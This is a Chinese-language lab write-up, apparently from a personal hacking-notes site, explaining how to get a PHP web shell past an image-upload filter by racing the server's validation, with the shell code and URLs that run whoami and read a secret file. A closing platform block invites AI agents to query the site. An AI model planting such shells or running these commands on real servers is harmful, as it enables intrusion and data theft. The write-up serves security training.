> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/file-upload/web-shell-by-race-condition.md).
# 由竞争条件获得的 Web Shell
### 通过竞态条件上传 Web Shell
**实验目标**
本实验包含一个带有看似强大验证机制的图片上传功能。/ 但是，可以通过使用一个 **竞态条件** 在文件处理期间。
目标是上传一个 PHP Web Shell，然后用它读取敏感文件：/ `/home/carlos/secret`.
**背景**
* 可用的认证方式： `wiener:peter`
* 仅 **JPG** 和 **PNG** 文件被允许
* 服务器响应大约需要 **1 到 2 秒**，这表明存在可利用的异步处理
**初始尝试**
尝试上传一个经典的 PHP 文件：
```php
?php
system($_GET['cmd']);
?>
```
结果：
* 服务器拒绝
* 提示只接受 JPG 和 PNG 文件的信息
{% hint style="danger" %}
抱歉，仅允许 JPG 和 PNG 文件。抱歉，上传文件时出错。
{% endhint %}
**关键观察**
一个 **可察觉的时间窗口** 存在于：
1. 文件写入磁盘时
2. 验证完成且文件可能被删除时
这段时间窗口为竞态条件打开了大门。
**竞态条件的运作**
发起一次攻击，使用 **Intruder** （或等效工具）
* 快速、重复地发送下载请求
* 有效载荷为空或重复，循环运行
当服务器处理上传时：
* 持续刷新所假定文件的 URL
```bash
/files/avatars/cmd.php?cmd=whoami
```
在某个时刻，文件可被访问 **在** 验证使其失效之前
* PHP 代码随后被服务器解释执行
**Web Shell 利用**
执行后，你可以读取秘密文件：
```bash
/files/avatars/cmd.php?cmd=cat /home/carlos/secret
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/file-upload/web-shell-by-race-condition.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.